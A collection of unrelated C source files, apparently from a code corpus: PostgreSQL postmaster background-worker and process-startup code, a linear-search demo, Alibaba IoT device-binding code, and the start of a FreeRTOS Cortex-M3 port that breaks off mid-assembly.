EXEC_BACKEND the ShmemBackendArray). * These arrays include regular backends, autovac workers, walsenders * and background workers, but not special children nor dead_end children. * This allows the arrays to have a fixed maximum size, to wit the same * too-many-children limit enforced by canAcceptConnections(). The exact value * isn't too critical as long as it's more than MaxBackends. */ int MaxLivePostmasterChildren(void) { return 2 * (MaxConnections + autovacuum_max_workers + 1 + max_worker_processes); } /* * Connect background worker to a database. */ void BackgroundWorkerInitializeConnection(char *dbname, char *username) { BackgroundWorker *worker = MyBgworkerEntry; /* XXX is this the right errcode? */ if (!(worker->bgw_flags & BGWORKER_BACKEND_DATABASE_CONNECTION)) ereport(FATAL, (errcode(ERRCODE_PROGRAM_LIMIT_EXCEEDED), errmsg("database connection requirement not indicated during registration"))); InitPostgres(dbname, InvalidOid, username, InvalidOid, NULL); /* it had better not gotten out of "init" mode yet */ if (!IsInitProcessingMode()) ereport(ERROR, (errmsg("invalid processing mode in background worker"))); SetProcessingMode(NormalProcessing); } /* * Connect background worker to a database using OIDs. */ void BackgroundWorkerInitializeConnectionByOid(Oid dboid, Oid useroid) { BackgroundWorker *worker = MyBgworkerEntry; /* XXX is this the right errcode? */ if (!(worker->bgw_flags & BGWORKER_BACKEND_DATABASE_CONNECTION)) ereport(FATAL, (errcode(ERRCODE_PROGRAM_LIMIT_EXCEEDED), errmsg("database connection requirement not indicated during registration"))); InitPostgres(NULL, dboid, NULL, useroid, NULL); /* it had better not gotten out of "init" mode yet */ if (!IsInitProcessingMode()) ereport(ERROR, (errmsg("invalid processing mode in background worker"))); SetProcessingMode(NormalProcessing); } /* * Block/unblock signals in a background worker */ void BackgroundWorkerBlockSignals(void) { PG_SETMASK(&BlockSig); } void BackgroundWorkerUnblockSignals(void) { PG_SETMASK(&UnBlockSig); } #ifdef EXEC_BACKEND static pid_t bgworker_forkexec(int shmem_slot) { char *av[10]; int ac = 0; char forkav[MAXPGPATH]; snprintf(forkav, MAXPGPATH, "--forkbgworker=%d", shmem_slot); av[ac++] = "postgres"; av[ac++] = forkav; av[ac++] = NULL; /* filled in by postmaster_forkexec */ av[ac] = NULL; Assert(ac < lengthof(av)); return postmaster_forkexec(ac, av); } #endif /* * Start a new bgworker. * Starting time conditions must have been checked already. * * This code is heavily based on autovacuum.c, q.v. */ static void do_start_bgworker(RegisteredBgWorker *rw) { pid_t worker_pid; ereport(DEBUG1, (errmsg("starting background worker process \"%s\"", rw->rw_worker.bgw_name))); #ifdef EXEC_BACKEND switch ((worker_pid = bgworker_forkexec(rw->rw_shmem_slot))) #else switch ((worker_pid = fork_process())) #endif { case -1: ereport(LOG, (errmsg("could not fork worker process: %m"))); return; #ifndef EXEC_BACKEND case 0: /* in postmaster child ... */ InitPostmasterChild(); /* Close the postmaster's sockets */ ClosePostmasterPorts(false); /* * Before blowing away PostmasterContext, save this bgworker's * data where it can find it. */ MyBgworkerEntry = (BackgroundWorker *) MemoryContextAlloc(TopMemoryContext, sizeof(BackgroundWorker)); memcpy(MyBgworkerEntry, &rw->rw_worker, sizeof(BackgroundWorker)); /* Release postmaster's working memory context */ MemoryContextSwitchTo(TopMemoryContext); MemoryContextDelete(PostmasterContext); PostmasterContext = NULL; StartBackgroundWorker(); break; #endif default: rw->rw_pid = worker_pid; rw->rw_backend->pid = rw->rw_pid; ReportBackgroundWorkerPID(rw); break; } } /* * Does the current postmaster state require starting a worker with the * specified start_time? */ static bool bgworker_should_start_now(BgWorkerStartTime start_time) { switch (pmState) { case PM_NO_CHILDREN: case PM_WAIT_DEAD_END: case PM_SHUTDOWN_2: case PM_SHUTDOWN: case PM_WAIT_BACKENDS: case PM_WAIT_READONLY: case PM_WAIT_BACKUP: break; case PM_RUN: if (start_time == BgWorkerStart_RecoveryFinished) return true; /* fall through */ case PM_HOT_STANDBY: if (start_time == BgWorkerStart_ConsistentState) return true; /* fall through */ case PM_RECOVERY: case PM_STARTUP: case PM_INIT: if (start_time == BgWorkerStart_PostmasterStart) return true; /* fall through */ } return false; } /* * Allocate the Backend struct for a connected background worker, but don't * add it to the list of backends just yet. * * Some info from the Backend is copied into the passed rw. */ static bool assign_backendlist_entry(RegisteredBgWorker *rw) { Backend *bn; /* * Compute the cancel key that will be assigned to this session. We * probably don't need cancel keys for background workers, but we'd better * have something random in the field to prevent unfriendly people from * sending cancels to them. */ if (!RandomCancelKey(&MyCancelKey)) { ereport(LOG, (errcode(ERRCODE_INTERNAL_ERROR), errmsg("could not generate random cancel key"))); rw->rw_crashed_at = GetCurrentTimestamp(); return false; } bn = malloc(sizeof(Backend)); if (bn == NULL) { ereport(LOG, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); /* * The worker didn't really crash, but setting this nonzero makes * postmaster wait a bit before attempting to start it again; if it * tried again right away, most likely it'd find itself under the same * memory pressure. */ rw->rw_crashed_at = GetCurrentTimestamp(); return false; } bn->cancel_key = MyCancelKey; bn->child_slot = MyPMChildSlot = AssignPostmasterChildSlot(); bn->bkend_type = BACKEND_TYPE_BGWORKER; bn->dead_end = false; bn->bgworker_notify = false; rw->rw_backend = bn; rw->rw_child_slot = bn->child_slot; return true; } /* * If the time is right, start one background worker. * * As a side effect, the bgworker control variables are set or reset whenever * there are more workers to start after this one, and whenever the overall * system state requires it. */ static void maybe_start_bgworker(void) { slist_mutable_iter iter; TimestampTz now = 0; if (FatalError) { StartWorkerNeeded = false; HaveCrashedWorker = false; return; /* not yet */ } HaveCrashedWorker = false; slist_foreach_modify(iter, &BackgroundWorkerList) { RegisteredBgWorker *rw; rw = slist_container(RegisteredBgWorker, rw_lnode, iter.cur); /* already running? */ if (rw->rw_pid != 0) continue; /* marked for death? */ if (rw->rw_terminate) { ForgetBackgroundWorker(&iter); continue; } /* * If this worker has crashed previously, maybe it needs to be * restarted (unless on registration it specified it doesn't want to * be restarted at all). Check how long ago did a crash last happen. * If the last crash is too recent, don't start it right away; let it * be restarted once enough time has passed. */ if (rw->rw_crashed_at != 0) { if (rw->rw_worker.bgw_restart_time == BGW_NEVER_RESTART) { ForgetBackgroundWorker(&iter); continue; } if (now == 0) now = GetCurrentTimestamp(); if (!TimestampDifferenceExceeds(rw->rw_crashed_at, now, rw->rw_worker.bgw_restart_time * 1000)) { HaveCrashedWorker = true; continue; } } if (bgworker_should_start_now(rw->rw_worker.bgw_start_time)) { /* reset crash time before calling assign_backendlist_entry */ rw->rw_crashed_at = 0; /* * Allocate and assign the Backend element. Note we must do this * before forking, so that we can handle out of memory properly. */ if (!assign_backendlist_entry(rw)) return; do_start_bgworker(rw); /* sets rw->rw_pid */ dlist_push_head(&BackendList, &rw->rw_backend->elem); #ifdef EXEC_BACKEND ShmemBackendArrayAdd(rw->rw_backend); #endif /* * Have ServerLoop call us again. Note that there might not * actually *be* another runnable worker, but we don't care all * that much; we will find out the next time we run. */ StartWorkerNeeded = true; return; } } /* no runnable worker found */ StartWorkerNeeded = false; } /* * When a backend asks to be notified about worker state changes, we * set a flag in its backend entry. The background worker machinery needs * to know when such backends exit. */ bool PostmasterMarkPIDForWorkerNotify(int pid) { dlist_iter iter; Backend *bp; dlist_foreach(iter, &BackendList) { bp = dlist_container(Backend, elem, iter.cur); if (bp->pid == pid) { bp->bgworker_notify = true; return true; } } return false; } #ifdef EXEC_BACKEND /* * The following need to be available to the save/restore_backend_variables * functions. They are marked NON_EXEC_STATIC in their home modules. */ extern slock_t *ShmemLock; extern slock_t *ProcStructLock; extern PGPROC *AuxiliaryProcs; extern PMSignalData *PMSignalState; extern pgsocket pgStatSock; extern pg_time_t first_syslogger_file_time; #ifndef WIN32 #define write_inheritable_socket(dest, src, childpid) ((*(dest) = (src)), true) #define read_inheritable_socket(dest, src) (*(dest) = *(src)) #else static bool write_duplicated_handle(HANDLE *dest, HANDLE src, HANDLE child); static bool write_inheritable_socket(InheritableSocket *dest, SOCKET src, pid_t childPid); static void read_inheritable_socket(SOCKET *dest, InheritableSocket *src); #endif /* Save critical backend variables into the BackendParameters struct */ #ifndef WIN32 static bool save_backend_variables(BackendParameters *param, Port *port) #else static bool save_backend_variables(BackendParameters *param, Port *port, HANDLE childProcess, pid_t childPid) #endif { memcpy(&param->port, port, sizeof(Port)); if (!write_inheritable_socket(&param->portsocket, port->sock, childPid)) return false; strlcpy(param->DataDir, DataDir, MAXPGPATH); memcpy(&param->ListenSocket, &ListenSocket, sizeof(ListenSocket)); param->MyCancelKey = MyCancelKey; param->MyPMChildSlot = MyPMChildSlot; param->UsedShmemSegID = UsedShmemSegID; param->UsedShmemSegAddr = UsedShmemSegAddr; param->ShmemLock = ShmemLock; param->ShmemVariableCache = ShmemVariableCache; param->ShmemBackendArray = ShmemBackendArray; #ifndef HAVE_SPINLOCKS param->SpinlockSemaArray = SpinlockSemaArray; #endif param->NamedLWLockTrancheRequests = NamedLWLockTrancheRequests; param->NamedLWLockTrancheArray = NamedLWLockTrancheArray; param->MainLWLockArray = MainLWLockArray; param->ProcStructLock = ProcStructLock; param->ProcGlobal = ProcGlobal; param->AuxiliaryProcs = AuxiliaryProcs; param->PreparedXactProcs = PreparedXactProcs; param->PMSignalState = PMSignalState; if (!write_inheritable_socket(&param->pgStatSock, pgStatSock, childPid)) return false; param->PostmasterPid = PostmasterPid; param->PgStartTime = PgStartTime; param->PgReloadTime = PgReloadTime; param->first_syslogger_file_time = first_syslogger_file_time; param->redirection_done = redirection_done; param->IsBinaryUpgrade = IsBinaryUpgrade; param->max_safe_fds = max_safe_fds; param->MaxBackends = MaxBackends; #ifdef WIN32 param->PostmasterHandle = PostmasterHandle; if (!write_duplicated_handle(&param->initial_signal_pipe, pgwin32_create_signal_listener(childPid), childProcess)) return false; #else memcpy(&param->postmaster_alive_fds, &postmaster_alive_fds, sizeof(postmaster_alive_fds)); #endif memcpy(&param->syslogPipe, &syslogPipe, sizeof(syslogPipe)); strlcpy(param->my_exec_path, my_exec_path, MAXPGPATH); strlcpy(param->pkglib_path, pkglib_path, MAXPGPATH); strlcpy(param->ExtraOptions, ExtraOptions, MAXPGPATH); return true; } #ifdef WIN32 /* * Duplicate a handle for usage in a child process, and write the child * process instance of the handle to the parameter file. */ static bool write_duplicated_handle(HANDLE *dest, HANDLE src, HANDLE childProcess) { HANDLE hChild = INVALID_HANDLE_VALUE; if (!DuplicateHandle(GetCurrentProcess(), src, childProcess, &hChild, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)) { ereport(LOG, (errmsg_internal("could not duplicate handle to be written to backend parameter file: error code %lu", GetLastError()))); return false; } *dest = hChild; return true; } /* * Duplicate a socket for usage in a child process, and write the resulting * structure to the parameter file. * This is required because a number of LSPs (Layered Service Providers) very * common on Windows (antivirus, firewalls, download managers etc) break * straight socket inheritance. */ static bool write_inheritable_socket(InheritableSocket *dest, SOCKET src, pid_t childpid) { dest->origsocket = src; if (src != 0 && src != PGINVALID_SOCKET) { /* Actual socket */ if (WSADuplicateSocket(src, childpid, &dest->wsainfo) != 0) { ereport(LOG, (errmsg("could not duplicate socket %d for use in backend: error code %d", (int) src, WSAGetLastError()))); return false; } } return true; } /* * Read a duplicate socket structure back, and get the socket descriptor. */ static void read_inheritable_socket(SOCKET *dest, InheritableSocket *src) { SOCKET s; if (src->origsocket == PGINVALID_SOCKET || src->origsocket == 0) { /* Not a real socket! */ *dest = src->origsocket; } else { /* Actual socket, so create from structure */ s = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, &src->wsainfo, 0, 0); if (s == INVALID_SOCKET) { write_stderr("could not create inherited socket: error code %d\n", WSAGetLastError()); exit(1); } *dest = s; /* * To make sure we don't get two references to the same socket, close * the original one. (This would happen when inheritance actually * works.. */ closesocket(src->origsocket); } } #endif static void read_backend_variables(char *id, Port *port) { BackendParameters param; #ifndef WIN32 /* Non-win32 implementation reads from file */ FILE *fp; /* Open file */ fp = AllocateFile(id, PG_BINARY_R); if (!fp) { write_stderr("could not open backend variables file \"%s\": %s\n", id, strerror(errno)); exit(1); } if (fread(&param, sizeof(param), 1, fp) != 1) { write_stderr("could not read from backend variables file \"%s\": %s\n", id, strerror(errno)); exit(1); } /* Release file */ FreeFile(fp); if (unlink(id) != 0) { write_stderr("could not remove file \"%s\": %s\n", id, strerror(errno)); exit(1); } #else /* Win32 version uses mapped file */ HANDLE paramHandle; BackendParameters *paramp; #ifdef _WIN64 paramHandle = (HANDLE) _atoi64(id); #else paramHandle = (HANDLE) atol(id); #endif paramp = MapViewOfFile(paramHandle, FILE_MAP_READ, 0, 0, 0); if (!paramp) { write_stderr("could not map view of backend variables: error code %lu\n", GetLastError()); exit(1); } memcpy(&param, paramp, sizeof(BackendParameters)); if (!UnmapViewOfFile(paramp)) { write_stderr("could not unmap view of backend variables: error code %lu\n", GetLastError()); exit(1); } if (!CloseHandle(paramHandle)) { write_stderr("could not close handle to backend parameter variables: error code %lu\n", GetLastError()); exit(1); } #endif restore_backend_variables(&param, port); } /* Restore critical backend variables from the BackendParameters struct */ static void restore_backend_variables(BackendParameters *param, Port *port) { memcpy(port, &param->port, sizeof(Port)); read_inheritable_socket(&port->sock, &param->portsocket); SetDataDir(param->DataDir); memcpy(&ListenSocket, &param->ListenSocket, sizeof(ListenSocket)); MyCancelKey = param->MyCancelKey; MyPMChildSlot = param->MyPMChildSlot; UsedShmemSegID = param->UsedShmemSegID; UsedShmemSegAddr = param->UsedShmemSegAddr; ShmemLock = param->ShmemLock; ShmemVariableCache = param->ShmemVariableCache; ShmemBackendArray = param->ShmemBackendArray; #ifndef HAVE_SPINLOCKS SpinlockSemaArray = param->SpinlockSemaArray; #endif NamedLWLockTrancheRequests = param->NamedLWLockTrancheRequests; NamedLWLockTrancheArray = param->NamedLWLockTrancheArray; MainLWLockArray = param->MainLWLockArray; ProcStructLock = param->ProcStructLock; ProcGlobal = param->ProcGlobal; AuxiliaryProcs = param->AuxiliaryProcs; PreparedXactProcs = param->PreparedXactProcs; PMSignalState = param->PMSignalState; read_inheritable_socket(&pgStatSock, &param->pgStatSock); PostmasterPid = param->PostmasterPid; PgStartTime = param->PgStartTime; PgReloadTime = param->PgReloadTime; first_syslogger_file_time = param->first_syslogger_file_time; redirection_done = param->redirection_done; IsBinaryUpgrade = param->IsBinaryUpgrade; max_safe_fds = param->max_safe_fds; MaxBackends = param->MaxBackends; #ifdef WIN32 PostmasterHandle = param->PostmasterHandle; pgwin32_initial_signal_pipe = param->initial_signal_pipe; #else memcpy(&postmaster_alive_fds, &param->postmaster_alive_fds, sizeof(postmaster_alive_fds)); #endif memcpy(&syslogPipe, &param->syslogPipe, sizeof(syslogPipe)); strlcpy(my_exec_path, param->my_exec_path, MAXPGPATH); strlcpy(pkglib_path, param->pkglib_path, MAXPGPATH); strlcpy(ExtraOptions, param->ExtraOptions, MAXPGPATH); } Size ShmemBackendArraySize(void) { return mul_size(MaxLivePostmasterChildren(), sizeof(Backend)); } void ShmemBackendArrayAllocation(void) { Size size = ShmemBackendArraySize(); ShmemBackendArray = (Backend *) ShmemAlloc(size); /* Mark all slots as empty */ memset(ShmemBackendArray, 0, size); } static void ShmemBackendArrayAdd(Backend *bn) { /* The array slot corresponding to my PMChildSlot should be free */ int i = bn->child_slot - 1; Assert(ShmemBackendArray[i].pid == 0); ShmemBackendArray[i] = *bn; } static void ShmemBackendArrayRemove(Backend *bn) { int i = bn->child_slot - 1; Assert(ShmemBackendArray[i].pid == bn->pid); /* Mark the slot as empty */ ShmemBackendArray[i].pid = 0; } #endif /* EXEC_BACKEND */ #ifdef WIN32 /* * Subset implementation of waitpid() for Windows. We assume pid is -1 * (that is, check all child processes) and options is WNOHANG (don't wait). */ static pid_t waitpid(pid_t pid, int *exitstatus, int options) { DWORD dwd; ULONG_PTR key; OVERLAPPED *ovl; /* * Check if there are any dead children. If there are, return the pid of * the first one that died. */ if (GetQueuedCompletionStatus(win32ChildQueue, &dwd, &key, &ovl, 0)) { *exitstatus = (int) key; return dwd; } return -1; } /* * Note! Code below executes on a thread pool! All operations must * be thread safe! Note that elog() and friends must *not* be used. */ static void WINAPI pgwin32_deadchild_callback(PVOID lpParameter, BOOLEAN TimerOrWaitFired) { win32_deadchild_waitinfo *childinfo = (win32_deadchild_waitinfo *) lpParameter; DWORD exitcode; if (TimerOrWaitFired) return; /* timeout. Should never happen, since we use * INFINITE as timeout value. */ /* * Remove handle from wait - required even though it's set to wait only * once */ UnregisterWaitEx(childinfo->waitHandle, NULL); if (!GetExitCodeProcess(childinfo->procHandle, &exitcode)) { /* * Should never happen. Inform user and set a fixed exitcode. */ write_stderr("could not read exit code for process\n"); exitcode = 255; } if (!PostQueuedCompletionStatus(win32ChildQueue, childinfo->procId, (ULONG_PTR) exitcode, NULL)) write_stderr("could not post child completion status\n"); /* * Handle is per-process, so we close it here instead of in the * originating thread */ CloseHandle(childinfo->procHandle); /* * Free struct that was allocated before the call to * RegisterWaitForSingleObject() */ free(childinfo); /* Queue SIGCHLD signal */ pg_queue_signal(SIGCHLD); } #endif /* WIN32 */ /* * Initialize one and only handle for monitoring postmaster death. * * Called once in the postmaster, so that child processes can subsequently * monitor if their parent is dead. */ static void InitPostmasterDeathWatchHandle(void) { #ifndef WIN32 /* * Create a pipe. Postmaster holds the write end of the pipe open * (POSTMASTER_FD_OWN), and children hold the read end. Children can pass * the read file descriptor to select() to wake up in case postmaster * dies, or check for postmaster death with a (read() == 0). Children must * close the write end as soon as possible after forking, because EOF * won't be signaled in the read end until all processes have closed the * write fd. That is taken care of in ClosePostmasterPorts(). */ Assert(MyProcPid == PostmasterPid); if (pipe(postmaster_alive_fds)) ereport(FATAL, (errcode_for_file_access(), errmsg_internal("could not create pipe to monitor postmaster death: %m"))); /* * Set O_NONBLOCK to allow testing for the fd's presence with a read() * call. */ if (fcntl(postmaster_alive_fds[POSTMASTER_FD_WATCH], F_SETFL, O_NONBLOCK)) ereport(FATAL, (errcode_for_socket_access(), errmsg_internal("could not set postmaster death monitoring pipe to nonblocking mode: %m"))); #else /* * On Windows, we use a process handle for the same purpose. */ if (DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &PostmasterHandle, 0, TRUE, DUPLICATE_SAME_ACCESS) == 0) ereport(FATAL, (errmsg_internal("could not duplicate postmaster handle: error code %lu", GetLastError()))); #endif /* WIN32 */ }
622953.c
#include <stdio.h> void main(){ // some code here }
323286.c
/* Author: Vishal Gaur * Created: 03-01-2021 21:09:12 */ #include <stdio.h> // function to search an element using linear seaching int linearSearch(int a[], int n, int x) { for (int i = 0; i < n; i++) { if (a[i] == x) return i; } return -1; } // main function to test above function int main() { int arr[] = {45, 65, 85, 12, 35, 97, 1, 7, 19}; int n = sizeof(arr) / sizeof(arr[0]); int x, res; x = 19; res = linearSearch(arr, n, x); if (res >= 0) printf("%d found at index %d\n", x, res); else printf("%d not found!\n", x); x = 10; res = linearSearch(arr, n, x); if (res >= 0) printf("%d found at index %d\n", x, res); else printf("%d not found!\n", x); return 0; }
144792.c
/* * Copyright (C) 2015-2018 Alibaba Group Holding Limited */ #include <stdio.h> #include "iot_import.h" #include "awss_cmp.h" #include "awss_notify.h" #include "awss_bind_statis.h" #ifdef WIFI_PROVISION_ENABLED #include "awss_statis.h" #endif #ifdef DEVICE_MODEL_ENABLED #include "awss_reset.h" #endif #if defined(__cplusplus) /* If this is a C++ compiler, use C linkage */ extern "C" { #endif static void *awss_bind_mutex = NULL; #ifdef DEVICE_MODEL_ENABLED extern int awss_report_reset_to_cloud(); #endif int awss_start_bind() { static int awss_bind_inited = 0; if (awss_bind_mutex == NULL) { awss_bind_mutex = HAL_MutexCreate(); if (awss_bind_mutex == NULL) return -1; } HAL_MutexLock(awss_bind_mutex); if(awss_bind_inited == 1) { HAL_MutexUnlock(awss_bind_mutex); return 0; } awss_report_token(); awss_cmp_local_init(AWSS_LC_INIT_BIND); awss_dev_bind_notify_stop(); awss_dev_bind_notify(); #ifdef WIFI_PROVISION_ENABLED #ifndef AWSS_DISABLE_REGISTRAR extern void awss_registrar_init(void); awss_registrar_init(); #endif AWSS_DISP_STATIS(); AWSS_REPORT_STATIS("RDA5981"); #endif AWSS_DB_DISP_STATIS(); AWSS_DB_REPORT_STATIS("RDA5981"); awss_bind_inited = 1; HAL_MutexUnlock(awss_bind_mutex); return 0; } int awss_report_cloud() { if (awss_bind_mutex == NULL) { awss_bind_mutex = HAL_MutexCreate(); if (awss_bind_mutex == NULL) return -1; } HAL_MutexLock(awss_bind_mutex); awss_cmp_online_init(); HAL_MutexUnlock(awss_bind_mutex); #ifdef DEVICE_MODEL_ENABLED if(awss_check_reset()) { return awss_report_reset_to_cloud(); } #endif awss_start_bind(); return 0; } int awss_bind_deinit() { if (awss_bind_mutex) HAL_MutexLock(awss_bind_mutex); #ifdef DEVICE_MODEL_ENABLED awss_stop_report_reset(); #endif awss_stop_report_token(); awss_cmp_online_deinit(); awss_dev_bind_notify_stop(); awss_cmp_local_deinit(1); #ifdef WIFI_PROVISION_ENABLED #ifndef AWSS_DISABLE_REGISTRAR extern void awss_registrar_deinit(void); awss_registrar_deinit(); #endif AWSS_CLEAR_STATIS(); #endif AWSS_DB_CLEAR_STATIS(); if (awss_bind_mutex) { HAL_MutexUnlock(awss_bind_mutex); HAL_MutexDestroy(awss_bind_mutex); } awss_bind_mutex = NULL; return 0; } #if defined(__cplusplus) /* If this is a C++ compiler, use C linkage */ } #endif
94400.c
/* * FreeRTOS Kernel V10.4.1 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * https://www.FreeRTOS.org * https://github.com/FreeRTOS * */ /*----------------------------------------------------------- * Implementation of functions defined in portable.h for the ARM CM3 port. *----------------------------------------------------------*/ /* Scheduler includes. */ #include "FreeRTOS.h" #include "task.h" /* For backward compatibility, ensure configKERNEL_INTERRUPT_PRIORITY is * defined. The value should also ensure backward compatibility. * FreeRTOS.org versions prior to V4.4.0 did not include this definition. */ #ifndef configKERNEL_INTERRUPT_PRIORITY #define configKERNEL_INTERRUPT_PRIORITY 255 #endif #ifndef configSYSTICK_CLOCK_HZ #define configSYSTICK_CLOCK_HZ configCPU_CLOCK_HZ /* Ensure the SysTick is clocked at the same frequency as the core. */ #define portNVIC_SYSTICK_CLK_BIT ( 1UL << 2UL ) #else /* The way the SysTick is clocked is not modified in case it is not the same * as the core. */ #define portNVIC_SYSTICK_CLK_BIT ( 0 ) #endif /* Constants required to manipulate the core. Registers first... */ #define portNVIC_SYSTICK_CTRL_REG ( *( ( volatile uint32_t * ) 0xe000e010 ) ) #define portNVIC_SYSTICK_LOAD_REG ( *( ( volatile uint32_t * ) 0xe000e014 ) ) #define portNVIC_SYSTICK_CURRENT_VALUE_REG ( *( ( volatile uint32_t * ) 0xe000e018 ) ) #define portNVIC_SHPR3_REG ( *( ( volatile uint32_t * ) 0xe000ed20 ) ) /* ...then bits in the registers. */ #define portNVIC_SYSTICK_INT_BIT ( 1UL << 1UL ) #define portNVIC_SYSTICK_ENABLE_BIT ( 1UL << 0UL ) #define portNVIC_SYSTICK_COUNT_FLAG_BIT ( 1UL << 16UL ) #define portNVIC_PENDSVCLEAR_BIT ( 1UL << 27UL ) #define portNVIC_PEND_SYSTICK_CLEAR_BIT ( 1UL << 25UL ) #define portNVIC_PENDSV_PRI ( ( ( uint32_t ) configKERNEL_INTERRUPT_PRIORITY ) << 16UL ) #define portNVIC_SYSTICK_PRI ( ( ( uint32_t ) configKERNEL_INTERRUPT_PRIORITY ) << 24UL ) /* Constants required to check the validity of an interrupt priority. */ #define portFIRST_USER_INTERRUPT_NUMBER ( 16 ) #define portNVIC_IP_REGISTERS_OFFSET_16 ( 0xE000E3F0 ) #define portAIRCR_REG ( *( ( volatile uint32_t * ) 0xE000ED0C ) ) #define portMAX_8_BIT_VALUE ( ( uint8_t ) 0xff ) #define portTOP_BIT_OF_BYTE ( ( uint8_t ) 0x80 ) #define portMAX_PRIGROUP_BITS ( ( uint8_t ) 7 ) #define portPRIORITY_GROUP_MASK ( 0x07UL << 8UL ) #define portPRIGROUP_SHIFT ( 8UL ) /* Masks off all bits but the VECTACTIVE bits in the ICSR register. */ #define portVECTACTIVE_MASK ( 0xFFUL ) /* Constants required to set up the initial stack. */ #define portINITIAL_XPSR ( 0x01000000UL ) /* The systick is a 24-bit counter. */ #define portMAX_24_BIT_NUMBER ( 0xffffffUL ) /* A fiddle factor to estimate the number of SysTick counts that would have * occurred while the SysTick counter is stopped during tickless idle * calculations. */ #define portMISSED_COUNTS_FACTOR ( 45UL ) /* For strict compliance with the Cortex-M spec the task start address should * have bit-0 clear, as it is loaded into the PC on exit from an ISR. */ #define portSTART_ADDRESS_MASK ( ( StackType_t ) 0xfffffffeUL ) /* Let the user override the pre-loading of the initial LR with the address of * prvTaskExitError() in case it messes up unwinding of the stack in the * debugger. */ #ifdef configTASK_RETURN_ADDRESS #define portTASK_RETURN_ADDRESS configTASK_RETURN_ADDRESS #else #define portTASK_RETURN_ADDRESS prvTaskExitError #endif /* * Setup the timer to generate the tick interrupts. The implementation in this * file is weak to allow application writers to change the timer used to * generate the tick interrupt. */ void vPortSetupTimerInterrupt( void ); /* * Exception handlers. */ void xPortPendSVHandler( void ) __attribute__( ( naked ) ); void xPortSysTickHandler( void ); void vPortSVCHandler( void ) __attribute__( ( naked ) ); /* * Start first task is a separate function so it can be tested in isolation. */ static void prvPortStartFirstTask( void ) __attribute__( ( naked ) ); /* * Used to catch tasks that attempt to return from their implementing function. */ static void prvTaskExitError( void ); /*-----------------------------------------------------------*/ /* Each task maintains its own interrupt status in the critical nesting * variable. */ static UBaseType_t uxCriticalNesting = 0xaaaaaaaa; /* * The number of SysTick increments that make up one tick period. */ #if ( configUSE_TICKLESS_IDLE == 1 ) static uint32_t ulTimerCountsForOneTick = 0; #endif /* configUSE_TICKLESS_IDLE */ /* * The maximum number of tick periods that can be suppressed is limited by the * 24 bit resolution of the SysTick timer. */ #if ( configUSE_TICKLESS_IDLE == 1 ) static uint32_t xMaximumPossibleSuppressedTicks = 0; #endif /* configUSE_TICKLESS_IDLE */ /* * Compensate for the CPU cycles that pass while the SysTick is stopped (low * power functionality only. */ #if ( configUSE_TICKLESS_IDLE == 1 ) static uint32_t ulStoppedTimerCompensation = 0; #endif /* configUSE_TICKLESS_IDLE */ /* * Used by the portASSERT_IF_INTERRUPT_PRIORITY_INVALID() macro to ensure * FreeRTOS API functions are not called from interrupts that have been assigned * a priority above configMAX_SYSCALL_INTERRUPT_PRIORITY. */ #if ( configASSERT_DEFINED == 1 ) static uint8_t ucMaxSysCallPriority = 0; static uint32_t ulMaxPRIGROUPValue = 0; static const volatile uint8_t * const pcInterruptPriorityRegisters = ( const volatile uint8_t * const ) portNVIC_IP_REGISTERS_OFFSET_16; #endif /* configASSERT_DEFINED */ /*-----------------------------------------------------------*/ /* * See header file for description. */ StackType_t * pxPortInitialiseStack( StackType_t * pxTopOfStack, TaskFunction_t pxCode, void * pvParameters ) { /* Simulate the stack frame as it would be created by a context switch * interrupt. */ pxTopOfStack--; /* Offset added to account for the way the MCU uses the stack on entry/exit of interrupts. */ *pxTopOfStack = portINITIAL_XPSR; /* xPSR */ pxTopOfStack--; *pxTopOfStack = ( ( StackType_t ) pxCode ) & portSTART_ADDRESS_MASK; /* PC */ pxTopOfStack--; *pxTopOfStack = ( StackType_t ) portTASK_RETURN_ADDRESS; /* LR */ pxTopOfStack -= 5; /* R12, R3, R2 and R1. */ *pxTopOfStack = ( StackType_t ) pvParameters; /* R0 */ pxTopOfStack -= 8; /* R11, R10, R9, R8, R7, R6, R5 and R4. */ return pxTopOfStack; } /*-----------------------------------------------------------*/ static void prvTaskExitError( void ) { volatile uint32_t ulDummy = 0UL; /* A function that implements a task must not exit or attempt to return to * its caller as there is nothing to return to. If a task wants to exit it * should instead call vTaskDelete( NULL ). * * Artificially force an assert() to be triggered if configASSERT() is * defined, then stop here so application writers can catch the error. */ configASSERT( uxCriticalNesting == ~0UL ); portDISABLE_INTERRUPTS(); while( ulDummy == 0 ) { /* This file calls prvTaskExitError() after the scheduler has been * started to remove a compiler warning about the function being defined * but never called. ulDummy is used purely to quieten other warnings * about code appearing after this function is called - making ulDummy * volatile makes the compiler think the function could return and * therefore not output an 'unreachable code' warning for code that appears * after it. */ } } /*-----------------------------------------------------------*/ void vPortSVCHandler( void ) { __asm volatile ( " ldr r3, pxCurrentTCBConst2 \n"/* Restore the context. */ " ldr r1, [r3] \n"/* Use pxCurrentTCBConst to get the pxCurrentTCB address. */ " ldr r0, [r1] \n"/* The first item in pxCurrentTCB is the task top of stack. */ " ldmia r0!, {r4-r11} \n"/* Pop the registers that are not automatically saved on exception entry and the critical nesting count. */ " msr psp, r0 \n"/* Restore the task stack pointer. */ " isb \n" " mov r0, #0 \n" " msr basepri, 